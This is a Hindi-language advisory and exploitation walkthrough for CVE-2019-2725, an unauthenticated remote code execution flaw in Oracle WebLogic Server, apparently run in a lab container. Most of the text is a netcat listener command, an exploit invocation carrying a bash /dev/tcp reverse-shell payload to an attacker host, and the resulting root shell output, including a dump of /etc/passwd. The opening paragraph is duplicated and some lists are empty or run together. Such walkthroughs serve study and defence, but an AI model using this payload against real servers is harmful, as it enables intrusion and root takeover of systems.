
Oracle Fusion Middleware के Oracle WebLogic Server घटक में भेद्यता (उप-घटक: Web Services)। प्रभावित समर्थित संस्करण 10.3.6.0.0 और 12.1.3.0.0 हैं। यह आसानी से शोषणीय भेद्यता HTTP के माध्यम से नेटवर्क पहुंच वाले बिना प्रमाणीकरण वाले हमलावर को Oracle WebLogic Server से समझौता करने की अनुमति देती है।
Oracle Fusion Middleware के Oracle WebLogic Server घटक में भेद्यता (उप-घटक: Web Services)। प्रभावित सपोर्टेड वर्शन 10.3.6.0.0 और 12.1.3.0.0 हैं। यह आसानी से शोषणीय भेद्यता एक अनअथेंटिकेटेड हमलावर को HTTP के माध्यम से नेटवर्क एक्सेस के साथ Oracle WebLogic Server से समझौता करने की अनुमति देती है।
CVE ID: CVE-2019-2725
Severity: गंभीर (CVSS v3: 9.8)
Vulnerability Type: अनअथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन (RCE)
Affected Product: Oracle WebLogic Server
Affected Component: AsyncResponseService
Authentication Required: नहीं
User Interaction Required: नहीं
CVE-2019-2725 Oracle WebLogic Server में एक गंभीर डिसीरियलाइज़ेशन भेद्यता है, जो अनअथेंटिकेटेड रिमोट हमलावरों को /_async/AsyncResponseService एंडपॉइंट पर भेजे गए विशेष रूप से तैयार किए गए SOAP अनुरोध के माध्यम से मनमाने सिस्टम कमांड निष्पादित करने की अनुमति देती है।
Oracle WebLogic Server के वर्शन जो अप्रैल 2019 क्रिटिकल पैच अपडेट से पहले के हैं, इन्हीं तक सीमित नहीं:
यह भेद्यता AsyncResponseService में असुरक्षित डिसीरियलाइज़ेशन के कारण मौजूद है।
एक हमलावर एक दुर्भावनापूर्ण XML पेलोड भेज सकता है जिसके परिणामस्वरूप अंतर्निहित ऑपरेटिंग सिस्टम पर बिना प्रमाणीकरण के मनमाना कमांड निष्पादन होता है।
यह समस्या विशेष रूप से खतरनाक है क्योंकि:
रिवर्स शेल प्राप्त करने के लिए Netcat लिसनर शुरू करें:
nc -lvp 2323
कमजोर WebLogic सर्वर के विरुद्ध एक्सप्लॉइट स्क्रिप्ट चलाएँ:
python3 CVE-2019-2725.py http://172.17.0.6:7001/_async/AsyncResponseService '/bin/bash -i >& /dev/tcp/172.17.0.10/2323 0>&1'
अपेक्षित आउटपुट:
[+] Target appears VULNERABLE
[*] Sending payload...
[+] Payload delivered successfully (HTTP 202)
Netcat लिसनर पर एक रिवर्स शेल प्राप्त होता है:
Listening on 0.0.0.0 2323
Connection received on 172.17.0.6 39926
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
root
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# pwd
/root/Oracle/Middleware/user_projects/domains/base_domain
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#
निम्नलिखित संकेतक प्रयासित या सफल शोषण का संकेत दे सकते हैं:
HTTP 202 Accepted प्रतिक्रियाएँ/bin/bash/bin/shएक्सप्लॉइट समझ और सत्यापन के लिए निम्नलिखित सार्वजनिक रिपॉजिटरी संदर्भित की गईं: